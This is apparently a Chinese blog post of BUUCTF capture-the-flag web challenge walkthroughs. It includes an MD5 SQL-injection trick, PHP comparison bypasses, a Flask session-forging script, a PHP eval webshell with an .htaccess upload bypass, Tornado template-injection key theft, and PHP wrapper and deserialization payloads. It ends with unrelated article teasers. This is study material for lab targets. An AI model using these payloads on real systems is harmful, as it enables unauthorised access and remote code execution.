假期BUUCTF小练习3
文章目录
- [极客大挑战 2019]BuyFlag
- [BJDCTF2020]Easy MD5
- [HCTF 2018]admin
- 第一种方法 直接登录
- 第二种方法 flack session伪造
- 第三种方法Unicode欺骗
- [MRCTF2020]你传你🐎呢
- [护网杯 2018]easy_tornado
- SSTI注入
- [ZJCTF 2019]NiZhuanSiWei
[极客大挑战 2019]BuyFlag
一个高级的网页,先进行信息收集一下
可以看到买到flag需要满足三个条件
然后抓包一下
可以看到user=0
,所以可以猜测user=1
时,满足学生的身份
然后进行POST传参数
因为password不能为数字,但是又要满足和404弱比较相等
所以password=404a
直接传入money=100000000
错误,可以将money改成数组或者将这个数字用科学计数法表示1e9
[BJDCTF2020]Easy MD5
可以在文件头中找到线索(抓包也可以)
select * from 'admin' where password=md5($pass,true)
这也是个sql注入语句,执行了我们的查询,但是在通过where的时候,条件不匹配
需要password=md5($pass,true)
为真时,才会执行select * from admin
看一下md5的语法,因为后面是TRUE,所以将其转化成原始的16字符二进制形式
Stringmd5()函数会将我们输入的值,加密,然后转换成16字符的二进制格式,如果转换后的值为or + xxxx,只要我们or后面的值恒为真,那么这个式子就恒为真
因为这个sql语句就变成select * from 'admin' where password='' or xxxx
按照这个思路找到ffifdyop
ffifdyop
的变化如:
前几位是'or' 6
可以构成永真式
前面那个sql语句就变成了
select * from 'admin' where password='or'6�]��!r,��b'
跳到新的页面了
<!--
$a = $GET['a'];
$b = $_GET['b'];if($a != $b && md5($a) == md5($b)){// wow, glzjin wants a girl friend.
-->
简单用数组绕过就行?a[]1&b[]=2
<?php
error_reporting(0);
include "flag.php";highlight_file(__FILE__);if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){echo $flag;
}
还是用数组绕过POST传参就行param1[]=1¶m2[]=2
得到flag,这个第一关有点点抽象嗷
[HCTF 2018]admin
[BUUCTF-HCTF 2018]admin1_[hctf 2018]admin 1-CSDN博客
第一种方法 直接登录
可以直接用弱口令
当注册admin
用户的时候,发现已经被注册过了
所以我们可以直接去登陆界面试一试
用用常见的弱口令
什么admin
或者是amdin123
就行了
用密码进行爆破
实用 | 如何利用 Burp Suite 进行密码爆破!-腾讯云开发者社区-腾讯云 (tencent.com)
所以密码为123
第二种方法 flack session伪造
https://github.com/woadsl1234/hctf_flask
先注册一个新账号,然后登陆进去,在change password那一页查看源代码,发现https://github.com/woadsl1234/hctf_flask/
还是要仔细一点才好,真的没看见QAQ
好像访问不到这个文件了,所以记录一下这个做题思路吧
session
ession 可以看做是在不同的请求之间保存数据的方法,因为 HTTP 是无状态的协议,但是在业务应用上我们希望知道不同请求是否是同一个人发起的。比如购物网站在用户点击进入购物车的时候,服务器需要知道是哪个用户执行了这个操作。
flask
是非常轻量级的web框架,其session
存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对session
进行了签名,缺少数据防篡改实现,易产生安全漏洞
按着解题步骤先做一遍吧(我也不是很懂)
先获取session
解密脚本如下:
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decodedef decryption(payload):payload, sig = payload.rsplit(b'.', 1)payload, timestamp = payload.rsplit(b'.', 1)decompress = Falseif payload.startswith(b'.'):payload = payload[1:]decompress = Truetry:payload = base64_decode(payload)except Exception as e:raise Exception('Could not base64 decode the payload because of ''an exception')if decompress:try:payload = zlib.decompress(payload)except Exception as e:raise Exception('Could not zlib decompress the payload before ''decoding the payload')return session_json_serializer.loads(payload)if __name__ == '__main__':print(decryption(sys.argv[1].encode()))
{'_fresh': True, '_id': b'e8a4a01afc13593d5413ad88e4b91a6c9a4c0f847466911adc8310046b8d5c779d649ee606aa2c4fe47cb23dbb6b3794ef6a40f5598ec1925879fd72e817ea21', 'csrf_token': b'9a841f3e188cfa34052bb98af17ae6ce8e7263ce', 'image': b'Oyeb', 'name': 'admin1', 'user_id': '10'}
将name
的admin1
改成admin
,伪造一个新的session
,需要密钥ckj123
加密脚本为:可以去noraj/flask-session-cookie-manager: 🍪 Flask Session Cookie Decoder/Encoder (github.com)下载下来
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4from abc import ABCMeta, abstractmethod
else: # > 3.4from abc import ABC, abstractmethod# Lib for argument parsing
import argparse# external Imports
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4class FSCM(metaclass=ABCMeta):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie """try:if(secret_key==None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise e
else: # > 3.4class FSCM(ABC):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie """try:if(secret_key==None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise eif __name__ == "__main__":# Args are only relevant for __main__ usage## Description for helpparser = argparse.ArgumentParser(description='Flask Session Cookie Decoder/Encoder',epilog="Author : Wilson Sumanang, Alexandre ZANNI")## prepare sub commandssubparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')## create the parser for the encode commandparser_encode = subparsers.add_parser('encode', help='encode')parser_encode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=True)parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',help='Session cookie structure', required=True)## create the parser for the decode commandparser_decode = subparsers.add_parser('decode', help='decode')parser_decode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=False)parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',help='Session cookie value', required=True)## get argsargs = parser.parse_args()## find the option chosenif(args.subcommand == 'encode'):if(args.secret_key is not None and args.cookie_structure is not None):print(FSCM.encode(args.secret_key, args.cookie_structure))elif(args.subcommand == 'decode'):if(args.secret_key is not None and args.cookie_value is not None):print(FSCM.decode(args.cookie_value,args.secret_key))elif(args.cookie_value is not None):print(FSCM.decode(args.cookie_value))
应该算是伪造出来了吧
第三种方法Unicode欺骗
一题三解之2018HCTF&admin-安全客 - 安全资讯平台 (anquanke.com)
[MRCTF2020]你传你🐎呢
先写个一句话木马
<?php
@eval($_POST['cmd']);
?>
上传一下php文件,发现上传失败了
抓个包,修改一下文件后缀以及MIME的信息,发现成功上传,这是个黑名单绕过以及MIME检测
可以用.htaccess
文件上传
.htaccess上传绕过文件上传黑名单
Apache服务器允许在每个目录下存在一个名为.htaccess的文件,.htaccess是一个纯文本文件,该文件可以作为Apache辅助配置文件,仅在当前目录生效。.htaccess文件可以实现URL重写、自定义错误页面、MIME类型配置以及权限访问控制等。起到了伪静态应用、图片防盗链、自定义404错误页面、允许或阻止特定IP地址范围访问、目录浏览与主页、禁止访问指定文件类型以及文件密码保护等等的作用。
先生成一个.htaccess
文件,里面写入
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>
SetHandler表示将文件名中含有`shell`的文件作为PHP类型的文件来执行
先上传这个.htaccess
文件,抓包改一下MIME的信息
然后再将filename
后面的名字改成shell.png
用蚁剑连接这个地址
网站的地址加上upload/1a66b931be20e9deb49ea4a0750addeb/shell.png
[护网杯 2018]easy_tornado
打开题目,可以看到三个超链接
将其分别打开看看,知道flag在fllllllllllllag文件下
第二个提示了一个render
第三个得到了一个md5值的加密
可以知道第三个肯定是关键
然后注意一下上面的网址,filehash应该就是将其进行hash加密,也就是第三个信息所提示的
所以推测payloud
为:file?filename=fllllllllllllag&filehash=xxx
通过第三个我们知道要找到cookie_secret
题目是easy_tornado
知道tornado
是python的一个函数,可以看出这道题是模板注入类的题
SSTI注入
SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。服务端模板:相当于很多公式,根据变量输出结果。这里的模板就是模板引擎根据数据自动生成前端页面。常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML
注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。SSTI也是获取了一个输入,然后在后端的渲染处理上进行了语句的拼接,然后执行。错误的执行了用户输入。类比于 sql
注入。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2
mako tornado django,php的smarty twig,java的jade
velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
render()
是tornado里的函数,可以生成html模板。是一个渲染函数,是一个公式,能输出前端页面的公式
tornado
是用Python编写的Web服务器兼Web应用框架
模板注入必须通过传输型如{{xxx}}的执行命令
修改一下上面的hash值 error?msg=Error
发现报错了
当我们输入error?msg={{1}}
就可以得到回显,说明此处是存在SSTI注入漏洞的
error?msg={{7*7}}
可以猜测此处出现了过滤
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量。
简单理解handler.settings即可,可以把它理解为tornado模板中内置的环境配置信息名称,通过handler.settings可以访问到环境配置的一些信息,看到tornado模板基本上可以通过handler.settings一把梭。
得到了cookie_secret
为bc3ae934-dc62-4c44-ab54-f0eba8296feb
将 /fllllllllllllag
md5加密为3bf9f6cf685a6dd8defadabfb41a03a1
bc3ae934-dc62-4c44-ab54-f0eba8296feb3bf9f6cf685a6dd8defadabfb41a03a1
加密后为:321c7aacb726b4c54ec10de61e89b837
payloud为:?filename=/fllllllllllllag&filehash=321c7aacb726b4c54ec10de61e89b837
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file); //useless.php$password = unserialize($password);echo $password;}
}
else{highlight_file(__FILE__);
}
?>
考的伪协议
这篇写的很好欸PHP伪协议总结 - 个人文章 - SegmentFault 思否
先代码审计一下
file_get_contents
将整个文件写入字符串
可以使用php://input
也可以使用data
伪协议,这两个都可以用于执行php代码
data伪协议主要用于数据流的读取。如果传入的是php代码,则可以执行
data伪协议:?text=data://text/plain,welcome to the zjctf
成功绕过
(preg_match("/flag/",$file))
是正则匹配式,匹配到flag
就自动退出,提示了有个useless.php
所以用php伪协议来读取
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
绕过了第二层
base解密
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} }
}
?>
在本地进行序列化操作
<?phpclass Flag{ //flag.phppublic $file="flag.php";public function __tostring(){if(isset($this->file)){echo file_get_contents($this->file);echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}}
}
$a=new Flag();
echo serialize($a);
?>
得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最后的Payloud为?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看页面源代码,得到flag
相关文章:
假期BUUCTF小练习3
文章目录 [极客大挑战 2019]BuyFlag[BJDCTF2020]Easy MD5[HCTF 2018]admin第一种方法 直接登录第二种方法 flack session伪造第三种方法Unicode欺骗 [MRCTF2020]你传你🐎呢[护网杯 2018]easy_tornadoSSTI注入 [ZJCTF 2019]NiZhuanSiWei [极客大挑战 2019]BuyFlag 一…...
【ubuntu系统】在虚拟机内安装Ubuntu
Ubuntu系统装机 描述新装机后的常规配置, 虚拟机使用vbox terminal 打不开 CTRL ALT F3 进入命令行模式(需要返回桌面时CTRL ALT F1)root用户登入cd /etc/default vi locale LANG“en_US” 改成 LANG“en_US.UTF-8”保存修改后&…...
Python初学者必须掌握的基础知识点
Python初学者必须掌握的基础知识点包括数据类型与变量、控制结构(条件语句和循环语句)、基本数据结构(列表、元组、字典、集合)、函数与模块、以及字符串处理等。以下是对这些基础知识点及其对应代码的详细介绍: 1. …...
ESP32是什么?
ESP32是一款由乐鑫信息科技(Espressif Systems)推出的高度集成的低功耗系统级芯片(SoC),它结合了双核处理器、无线通信、低功耗特性和丰富的外设,特别适用于各种物联网(IoT)应用。以…...
jemalloc分析内存
分析内存泄漏过程中, 由于tcmalloc不能长时间开启heap profile(会不停涨内存,导致内存爆掉).尝试换jemalloc. 交叉编译: git clone https://github.com/jemalloc/jemalloc.git./autogen.sh./configure --hostaarch64-…...
【QT】qss
目录 基本语法 设置全局样式 问题 分离样式代码 方案1 方案2 选择器 概况 子控件选择器 伪类选择器 盒子模型 修改控件样式示例 按钮 属性小结 复选框 属性小结 输入框 属性小结 列表框 属性小结 渐变色 示例: 菜单栏 设置菜单栏的背景…...
Java处理大数据的技巧
大数据处理是现代计算机科学中的一个重要领域,通过高效的算法和工具,我们可以从大量数据中提取有价值的信息。本文将介绍一些处理大数据的技巧和策略,并讨论如何通过Java与MySQL实现高效的大数据处理。 一、什么是大数据处理? 大…...
JavaScript基础——JavaScript常见语句(判断语句、循环语句、控制流语句)
JavaScript提供了丰富的语句来控制程序的执行流程,包括用于条件判断的if、switch和三元运算符,以及用于循环的for、while、do...while、for...in和for...of。此外,还有控制流语句如break、continue和return。 判断语句 if 语句 if 语句&…...
材质球向shader传值失败
unity中导入spine模型,当模型挂载SkeletonMecanim组件后,发现材质球向shader传值失败,改为SetPropertyBlock后可行。 //spine模型使用材质球传参数,当spine模型上挂载有SkeletonMecanim的情况下,会传值失败!!!!// for…...
【TDH社区版大事件】图分析、全文检索、小文件治理、数据开发工具通通都有!
星环科技大数据基础平台TDH社区版,在保留了商业版核心技术优势的基础上最大程度地降低了用户使用大数据技术的门槛与成本,具有更轻量、更简单、更易用等特性。 此次TDH社区开发版、社区版、社区订阅版均发布了新版本,带来新的产品组件和新的…...
【反序列化漏洞】serial靶机详解
一、安装靶机 首先创建新的虚拟机。 然后选择客户机版本为Ubuntu 64位。 然后选择使用现有磁盘,选择下载的vmdk磁盘文件即可。剩下的都是默认 二、信息收集 发现主机192.168.204.143 访问 扫描端口nmap -A 192.168.204.143 -p-,发现只有ssh:22和http:8…...
C#列表按照日期进行从大到小排序
C#列表按照日期进行从大到小排序...
rt-thread每个线程状态切换方法
线程状态 RT-Thread 中线程的状态定义在 rt_thread.h 头文件中,通常包括以下几种状态: RT_THREAD_INIT:线程初始化状态。RT_THREAD_READY:线程就绪状态。RT_THREAD_SUSPEND:线程挂起状态。RT_THREAD_RUNNING…...
visual studio跳转到上一个/下一个光标处的快捷键设置
vscode能通过Alt左右箭头跳转到上/下一个光标处,这对于“点进函数看源码,看完后跳转到原来位置”是非常方便的。 在Visual Studio中,有2种方法实现这样的功能。 第一种,直接点击这两个按钮:(缺点是每次要用…...
网络基础命令配置复习 (基础华为设备)
目录 一.前言 二.Telnet远程登陆 2.1telnet介绍 2.2telnet的配置 三.交换机基础配置 四.致谢 一.前言 网络基础不仅是IT从业者的必备知识,也是日常生活中使用网络的人们应该了解的内容。通过学习和掌握这些基础知识,你将能更好地理解和利用现…...
在AspNetCoreRateLimit中,ClientRateLimiting 和 IpRateLimiting 都有的时候按谁的来
在AspNetCoreRateLimit中,当同时配置了ClientRateLimiting(基于客户端ID的速率限制)和IpRateLimiting(基于IP地址的速率限制)时,它们的应用方式主要取决于请求的特性和配置的设置。以下是对这两种速率限制方…...
PEP 8 – Python 代码风格指南中文版(五)
强制性:命名约定 应避免的命名 永远不要使用字符‘l’(小写字母el)、‘O’(大写字母oh)或‘I’(大写字母eye)作为单字符变量名。在某些字体中,这些字符与数字1和0难以区分。当想使…...
Spring中是如何实现IoC和DI的?
前言:在前一篇文章中对于IoC的核心思想进行了讲解,而本篇文章则从Spring的角度入手,体会Spring对于IoC是如何实现的。 如果对IoC还有不太了解的可以阅读上一篇文章,相信一定会带来全新的收获:什么是IoC(控制…...
Excel第33享:借助易用宝将多个表格合并到一个表格
1、需求描述 现有3个销售数据的Excel表格,希望将其整合到一个表格里,如下图所示。 2、具体操作 (1)下载一个插件“易用宝”。 下载地址:最新版下载 | Excel易用宝 如果本地址失效,可以直接百度搜索“易…...
opencascade AIS_TrihedronOwner源码学习对象的实体所有者用于选择管理
opencascade AIS_TrihedronOwner 前言 AIS_Trihedron对象的实体所有者用于选择管理。 在OpenCascade的AIS(交互对象框架)中,管理类似AIS_Trihedron的对象的选择涉及理解如何处理实体(或所有者)以进行选择。 方法 1…...
面试经典算法150题系列-跳跃游戏||
跳跃游戏|| 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。 每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说,如果你在 nums[i] 处,你可以跳转到任意 nums[i j] 处: 0 < j < nums[i] i j < n 返回到达 num…...
uniapp h5支付(支付宝和微信支付)
支付宝和微信支付 支付宝 创建一个页面,复制下面即可 <template><view><div class"body" v-html"formUrl"></div></view> </template><script>export default {data() {return {formUrl: // 用于…...
Radamsa:一款高性能通用模糊测试工具
关于Radamsa Radamsa是一款高性能的通用模糊测试工具,广大研究人员可以将其当作一个应用程序稳定性测试的测试用例生成工具。 工具运行机制 该工具使用简单,支持自定义脚本开发,可以用于测试程序对格式错误和潜在恶意输入的承受能力。它的工…...
css中使用data中的变量
一、定义变量 data() {return {myColor:"#2a9efb",}; },二、在templete中激活 说明:这里其实类似于设置 document.documentElement.style.setProperty(--myColor, myColor),而我们现在只是给div设置了变量属性,并且是在当前页面设置的&#x…...
Java 设计模式之策略模式 (Strategy Pattern) 详解
Java 设计模式之策略模式 (Strategy Pattern) 详解 策略模式(Strategy Pattern)是一种行为型设计模式,旨在定义一系列算法,将每个算法封装起来,并使它们可以互相替换,从而使得算法的变化不会影响使用算法的…...
习题20240803(未完成)
文章目录 一、Linq练习 使用Linq完成下面练习1.题目: 返回 numbers 列表中的所有数字。2.题目: 返回 numbers 列表中的所有偶数。3.题目: 返回 numbers 列表中所有大于10的数字。4.题目: 返回 students 列表中所有学生的姓名。5.题目: 返回 numbers 列表按升序排序后的数字。6.…...
C语言程序设计25
《C程序设计教程(第四版)——谭浩强》 习题2.2 分析下面程序的运行结果,然后上机验证。 代码: //《C程序设计教程(第四版)——谭浩强》 //习题2.2 分析下面程序的运行结果,然后上机验证。#inc…...
TypeScript 基础类型与类型声明
前言 在 JavaScript 中,变量是没有类型的,变量的值的类型是在运行时确定的,这被称为动态类型。 这意味着可以在不同的时间将不同类型的值赋给同一个变量,并且 JavaScript 会在运行时根据当前赋给变量的值来确定其类型。 示例&…...
算法:BFS 解决多源最短路问题
目录 多源最短路 题目一:矩阵 题目二:飞地的数量 题目三:地图中的最高点 题目四:地图分析 多源最短路 首先想要知道多源最短路,就先要明白单源最短路,bfs解决单源最短路问题前面学习过,单…...
grep工具的使用
grep [options]…… pattern [file]…… 工作方式: grep 在一个或者多个文件中搜索字符串模板,如果模板中包括空格,需要使用引号引起来,模 板后的所有字符串会被看作是文件名。 工作结果:如果模板搜索成功…...
有不花钱做网站/宁波seo优化
在游戏编程时,调试程序是很困难的事情,特别是全屏模式,总是无法切换到VC的IDE环境,以前我一般是利用BltFast代替Flip以保证GDI Surface始终在前,但效果不是太好,前一段时间我在VC中发现一个宝贝,…...
新疆维吾尔建设厅网站官网/好用吗
OID(对象标识符)是指数据库表中的一列,其中存储着每行数据的唯一标识符。这种标识符通常被用来引用表中的某一行数据,而不需要使用其他的列值。为了在数据库表中使用OID,需要在创建表的时候明确指定一列作为OID列。 例如,假设我们…...
帝国cms更改网站ico/站长之家下载
应该是可能的:这里是一个窗体,通过浏览器发布(不相关的字段省略):POST http://host.example.com/somewhere HTTP/1.1Content-Type: multipart/form-data; boundary---------------------------7da16b2e4026cContent-Length: 105732----------…...
ecshop网站备份/秦洁婷seo博客
本节书摘来自华章计算机《腾讯iOS测试实践》一书中的第1章,第1.5节,作者:丁如敏 王琳 等著 更多章节内容可以访问云栖社区“华章计算机”公众号查看。 1.5 测试设计 测试设计是一个系统性工程,涉及内容比较多,从前期需求分析…...
微信_网站提成方案点做/今日十大热点新闻事件
数据库压力测试思路 原文是E文,做一下翻译并且提取一些重要的思路。 1.定义业务规格 What are your most critical business processes and how often are they processed (e.g. number of sales activities per day, number of client requests per day, etc.)最重…...
专业装修超市的装修公司/深圳网站seo公司
2019独角兽企业重金招聘Python工程师标准>>> 1995年,第一次使用Modem拨号上网,一阵让人愉悦的“嘀嗒声”过后,我经历了人生的第一次触网。按照电信运营商写的小册子中的说明,我FTP到了一个日本服务器,看到服…...